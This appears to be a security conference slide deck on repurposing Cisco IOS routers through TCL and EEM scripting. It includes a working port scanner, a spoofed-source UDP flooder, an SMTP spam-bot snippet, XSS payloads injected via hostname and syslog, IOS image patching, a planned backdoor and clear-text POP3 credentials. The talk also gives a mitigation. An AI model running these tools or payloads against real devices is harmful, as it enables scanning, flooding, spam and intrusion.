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my definition of hacking

Misuse / Abuse of

ANY
Software and/or Devices

and have fun !



Warning and ©-Info

• ALL information's are for internal and testing 
purpose only ! 

• packetlevel.ch is not responsible for any abuse 
usage of this information's !

• All information's are without any warranty !

• maybe it's against your local law ! 

• it can damage your device ! 

• © Info:

Cisco © is a trademark of Cisco Systems Inc.



show kron schedule

• playing around with IOS Commands

• portscanning script

• send Spam “design study”

• Input – Control 

• Port knocking

• Webserver and XSS

• UDP-Packetflooding

• Demo 

• Questions



cisco device can..

• routing IP packets

• switching data packets

• connecting networks

• what ever cisco’s
“high gloss brochure” say‘s …. 



and it can also

• be a portscanner

• be a E-Mail Spam BOT

• control the status of your Rackdoor

• be a webserver with “add-ons”

• nearly everything…. 

because……..



„NEW“ Cisco Features

• Scripting language (TCL)

• new board types (ACE / NAM /…)

• “Linux” running on the boards/systems

• Modular IOS 

• EEM / ESM / ERM 

• more and more integrations of functions 

• Software bugs

• ….

It‘s ONLY Software running on Hardware !



we start simple

• Play around with the „OS“ and the IOS 
commands.

• Try everything, what works on the other 
systems. 

• Try the impossible things.

• Try on different cisco systems.

It‘s ONLY Software and a Operating System !



IOS playing (1a)

• telnet command

evil-router#telnet 195.186.19.144 ?
/debug Enable telnet debugging mode
/encrypt Negotiate telnet encryption
/ipv4              Force use of IP version 4
/ipv6              Force use of IP version 6
/line Enable telnet line mode
/noecho Disable local echo
/quiet Suppress login/logout messages
/route:            Enable telnet source route mode
/source-interface Specify source interface
/stream Enable stream processing
/terminal-type Set terminal type
<0-65535>          Port number
bgp Border Gateway Protocol (179)
chargen Character generator (19)
cmd Remote commands (rcmd, 514)
.
.



IOS playing (1b)

evil-router#telnet 195.186.19.141 110

Trying 195.186.19.141, 110 ... Open

+OK POP3 PROXY server ready (Bluewin

8.0.16)

USER mr.evilbit

+OK Password required

PASS hetschgern

.

.



IOS playing (2a)

• „more“ command
evil-router#more /?

/ascii /binary  /ebcdic

evil-router#more ?

/ascii Display binary files in ascii

/binary   Force display to hex/text format

/ebcdic Display binary files in ebcdic

archive:  File to display

cns:      File to display

flash:    File to display

ftp:      File to display

http:     File to display

https:    File to display

null:     File to display

.

.



IOS playing (2b)

• „more“ command



IOS playing (2c)

• „more“ command



IOS playing (2d)

• „more“ command (Cisco3750)



IOS playing (2e)

• Sample: (ICMP and CDP packets)



IOS playing (3a)



IOS playing (3b)

• Use a „normal“ copy command to copy a 
file to syslog. (Logging must be on, and 
the Logging level must set to debugging)



IOS Playing (3c)

• And you see on the local logs or on the 
logserver this output:



TCL functions

• read (and write) current SNMP Infos

• Execute IOS commands

• Modify “running-config”

• Open TCP Sockets

• Support Regular Expressions, Functions 
and mostly any normal TCL features

• Scripting possibility



TCL / Basic Sample

• Sample (interactive)

• Sample (remote)



TCL / Sample

• ios_config



TCL Samples

• SNMP 

• For more information 
see at cisco.com or ask google…



TCL Sample TCP Port Scanner

#################################################
#
# set portlist to scan
#
proc scanip {ip} {
foreach port {21 22 23 25 80 110 443 8080 } {
connect $ip $port
}

}
#
# simple try and error
#
proc connect {host port} {
if {[catch {

set sock [socket $host $port]
} msg ] != 0} {
puts "$host $port Close" 
} else {
puts "$host $port Open“
}

}
if {! [string equal $argv ""]} {
if {![regexp {^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$} $argv]} {
puts {Usage: scanip [ip-address]}; return;

}
}
catch { scanip $argv } err



TCP Port Scanner installation

• Download the script scanip.tcl into the 
flash:scanip.tcl

• configure a alias 
alias exec scanip tclsh flash:scanip.tcl

• execute with:
scanip [ip-address]



TCL Sample Port Scanner

• scanip IP-Address



TCL Sample Port Scanner

• new version available at 
www.packetlevel.ch/html/cisco/tcl/scanip.tcl

• - input validation (IP + Port) /  selectable ports



A Mail Bot (hypothetical)

• Overview



Mail Bot Script Sample

• Code Snippet:
(full code not public available)�

set sockid [socket $smtphost 25]

set status [catch {

puts $sockid "HELO $smtphost"

flush $sockid

set result [gets $sockid]

if {$trace} then {

puts stdout "HELO $smtphost\n\t$result"

}

puts $sockid "MAIL From:<$from>"

flush $sockid

set result [gets $sockid]

if {$trace} then {

puts stdout "MAIL From:<$from>\n\t$result"

}



Rackdoor Control

• Using Special „FastEthernet Cable“ and 
EEM to check, if a door was open.



Interface Sample

• Interface config on the Router (or Switch)

interface fasterhernet 8
duplex full 
speed 100
switchport access vlan 2 
no shutdown

For each interface a separate VLAN (recommendation)



Loopback Cable

• Loopback cable with a 

switch.

for Fast-Ethernet

Pin 1 + 3 shortcut
Pin 2 + 6 shortcut



Script Sample

• EEM Embedded Event Manager
• Port Up/Down
event manager applet PORT8UP 

event syslog pattern "Line protocol on \
Interface FastEthernet8, changed state to up"

action 1.0 syslog msg "PORT 8 UP / Door Open“

event manager applet PORT8DOWN
event syslog pattern "Line protocol on \

Interface FastEthernet8, changed state to down"

action 1.0 syslog msg "PORT 8 DOWN / Door Closed"



Script Sample

• Logfile
Aug 19 19:35:26.975: %LINEPROTO-5-UPDOWN: Line protocol 

on Interface FastEthernet8, changed state to down

Aug 19 19:35:26.979: %HA_EM-6-LOG: PORT8DOWN: PORT 8 DOWN 

/ Door Closed

Aug 19 19:35:57.743: %LINEPROTO-5-UPDOWN: Line protocol 

on Interface FastEthernet8, changed state to up

Aug 19 19:35:57.743: %HA_EM-6-LOG: PORT8UP: PORT 8 UP/ 

Door Open



port knocking

• This Sample shows, 

how we can enable or disable „ICMP“ after 
the router receive a „crafted“ special udp

packet.



port knocking (1)

• Create two different ACCESLISTS 

- one with ICMP enabled and a rule for the 
disabling packet

- one with ICMP disabled and a rule for 
enabling packet



port knocking (2)

• Next step is to apply on of the 
access-list to the interface



port knocking (3)

• create two event manager applets, to swap the 
access-list.



port knocking (4)

• Now you can enable or disable ICMP with 
sending crafted packets

• Enable ICMP
hping3 -2 -a 1.1.1.1 192.168.1.1 -p 65500 -c 1

• Disable ICMP
hping3 -2 -a 2.2.2.2 192.168.1.1 -p 65500 -c 1

• This is only a easy example. Its possible to 
create different and more complex rules to 
execute any kind of commands. It’s up to you.



cisco as a webserver (1)

• Some IOS Commands
ip http server start http daemon

ip http secure-server start https daemon

ip http path flash:     set path to httproot

ip http port port-nr http server port

• Some advanced IOS Commands
show ip http server status



cisco as a webserver (2)

• File „home.html“ or „home.shtml“ on the
flash: with HTML Content. 

• Sample:
<HTML>

<H1>Hello, my little Cisco Router</H1>

</HTML>



cisco as webserver (3) 

• modify the ios image! 

• Unzip the IOS File

unzip c3745-adventerprisek9-mz.123-14.T7.bin

• Search for references



cisco as webserver (4)

• Edit the Binary File with a Hexeditor
And here some important Info's: 
for testing purpose only!  maybe it's against your local law!  it can damage your device!

• zip the file and copy back to the Router.

• restart the router.



cisco as a webserver (5)

- Password still required for login.
(if one is set !)

- Space Limit on the flash.

- Restarting of the router if new IOS.

+ nobody look‘s on the flash: 

+ build your own „Default Cisco Homepage“

not yet everything researched…



IOS Modifying

• fast testing with dynamips/dynagen

• Text replacement easy, but file must have same 

size.

• Program Entry Points must be the same. 

• TCL + HTML Files must have correct Syntax

• Write down, what you are doing…

• See also presentation from Sebastian Muniz 

(Core-Security)



maybe, you change ….



webserver + hostname

• Default Router Homepage:

you see the Hostname „evil-router“



webserver + hostname

Change the Routername to one, with HTML-Tags

hostname <H1>MY_BIG_ROUTER</H1>

OR
hostname <SCRIPT>alert("Hello_Cisco")</SCRIPT>

evil-router>

evil-router>enable

evil-router#conf t

Enter configuration commands, one per line.  End with CNTL/Z.

evil-router(config)#hostname <SCRIPT>alert("Hello_Cisco")</SCRIPT>

% Hostname contains one or more illegal characters.

<SCRIPT>alert("Hello(config)#



webserver + hostname

• Results in:



webserver + hostname

• The Browser displays and interpret all of the 
hostname, but IOS knows that there are „illegal 
characters“

Remember !
% Hostname contains one or more illegal characters.

• Current Problems with this :

- Space-Char („ „) NOT allowed !

- length limit‘s !

Looking for a solutions…..



webserver + syslog

• For whatever reason you generate HTML–
Tagged syslog-entries. 

• Sample TCL Commands

set logport "syslog:"

set data "<h1>Syslog is fun</h1>"

set fileID [ open $logport "w" ] 

puts $fileID $data 

flush $fileID

close $fileID



webserver + syslog

• Sometime the Output looks like this:



webserver + syslog

• And sometimes this way:



webserver + syslog

• and with <iframe src:“…..“> and <script>



other HTML Code injection

• username

• Router Local Webserver



other HTML Code injection

• Results: 



other HTML Code injection

• description

• Results



Code injection / XSS

• known since 2005 ! 

• Solution (the only one!)

Disable the HTTP server by issuing the following commands in configure mode :

# no ip http server

# no ip http secure-server

Disable the HTTP WEB_EXEC service by issuing the following commands in 

configure mode (for IOS 12.3(14)T and later) :

# no ip http active-session-modules WEB_EXEC

# no ip http secure-active-session-modules WEB_EXEC



What happens on

What happens on all this IOS config-
analyser with this HTML Code

• Ciscoworks ?

• Router Audit Tool (RAT) ?

• Spectrum ?

• nipper ?

• All other config parser tools ?



What happens on

Example: 

• nipper (the network infrastructure parser)

• Nothing with the username and the 

description

but…



What happens on

• Hostname
Hostname <H1><B><I>evil-router</I></B></H1>

• results in:



UDP Packtet Generator

Problem:

• NO UDP function integrated in TCL!

Cisco Solution:

• No information found !

My Solution:

• use normal IOS Commands for creating 
udp packets with selectable source IP-
Address, target IP-Address and target 
Port. 



UDP Packet Generator (1)

• Simple Solution 
use: SYSLOG Logging
logging allows you to create a desirable 

target ip and port, and you can change the 
source interface. And it‘s in your hand, to 

create messages.

• IOS Command’s
logging host 192.168.2.104 transport udp port 514

logging source-interface Loopback1



UDP Packet Generator (2)

• IOS Command’s
(Sample)�

evil-router#

evil-router#conf t

Enter configuration commands, one per line.  End with CNTL/Z.

evil-router(config)#interface loopback 1

evil-router(config-if)#ip address 1.2.3.4 255.255.255.255

evil-router(config-if)#exit

evil-router(config)#logging on

evil-router(config)#logging trap debugging

evil-router(config)#logging host 192.168.2.100 transport udp port 12345

evil-router(config)#logging source-interface loopback 1

evil-router(config)#exit

evil-router#

evil-router#copy flood.txt syslog:

900 bytes copied in 0.012 secs (75000 bytes/sec)�

evil-router#



UDP flooder

• Code snippet:
ios_config "interface loopback 999"

set loop "ip address $srcip 255.255.255.255"

ios_config "interface loopback 999" $loop

ios_config "interface loopback 999" "no shutdown"

set ios_cmd "logging host $destip transport udp port $destport"

puts $ios_cmd

ios_config $ios_cmd

ios_config "logging source-interface loopback 999"

set data "Flooding....."

set filename "syslog:"

set fileID [open $filename "w"]

for {set x 0} {$x<$count} {incr x} {

puts $fileID $data

flush $fileID

}

close $fileID



UDP flooder

• udpflood (sample)

evil-router(tcl)#udpflood

UDP flood

Destination IP:192.168.2.100 

Destination Port:12345

Source IP:1.2.3.4

Count:10

logging host 192.168.2.100  transport udp
port 12345

evil-router(tcl)#



UDP flooder



Cisco Netcat

• Cisco Netcat (CNC) is the next step.

still in alpha, but…..



Cisco Netcat

• Sample screenshoots



TCL Crash



LAB Demo 



Resume

• IOS has may features, that are new 
playgrounds, if you have ideas.

• Self defending networks are attacking 
you…

• Scripting support on the Router is good 
and bad, depends on the viewing point.

• most known “tricks” works on Cisco and 

IOS  



Coming soon….(or later)

• new tcl scripts („telnet server“ for a 
backdoor)

• new test with IOS modifying

• Coffee control system…..  IO control

• More analysing of system:memory

• analysing ACE /NAM code (linux based) 

• and more fun……



Questions ?

christoph.weber@packetlevel.ch



fun


